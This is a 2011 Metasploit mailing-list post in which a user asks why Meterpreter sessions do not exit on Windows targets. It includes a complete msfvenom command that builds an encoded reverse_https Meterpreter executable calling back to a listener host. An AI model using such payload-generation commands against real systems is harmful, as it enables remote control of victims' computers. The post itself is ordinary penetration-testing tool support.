Metasploit mailing list archives

Meterpreter don't exit


From: Jason Hawks <jason.hawks0 () gmail com>
Date: Tue, 8 Nov 2011 21:46:57 +0100

Hello everyone,

I have an issue with the "Exit" command during a meterpreter session.
The payload (EXE) don't exit on the victim computer.

- On Windows 7 (x86/x64), I have tested reverse_https, revese_tcp and
bind_tcp with exitfunc=process/thread/seh . None of these payloads
exit. I must kill them manually.
- On Windows XP, only reverse_https have the issue.

I generate the payloads by using the following syntax:

./msfvenom -e x86/shikata_ga_nai -f exe -p
windows/meterpreter/reverse_https LHOST=192.168.1.103 LPORT=443
EXITFUNC=XXXX > /tmp/reverse_https_192.168.1.103_443_exitfunc_XXXX.exe


Current MSF version:
       =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 757 exploits - 402 auxiliary - 114 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
       =[ svn r14193 updated today (2011.11.08)

$ ruby -v
ruby 1.9.2p290 (2011-07-09 revision 32553) [i686-linux]

Am I doing something wrong ?
Any advice/workaround is welcome.

Thank you very much,

Jason
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework


Current thread: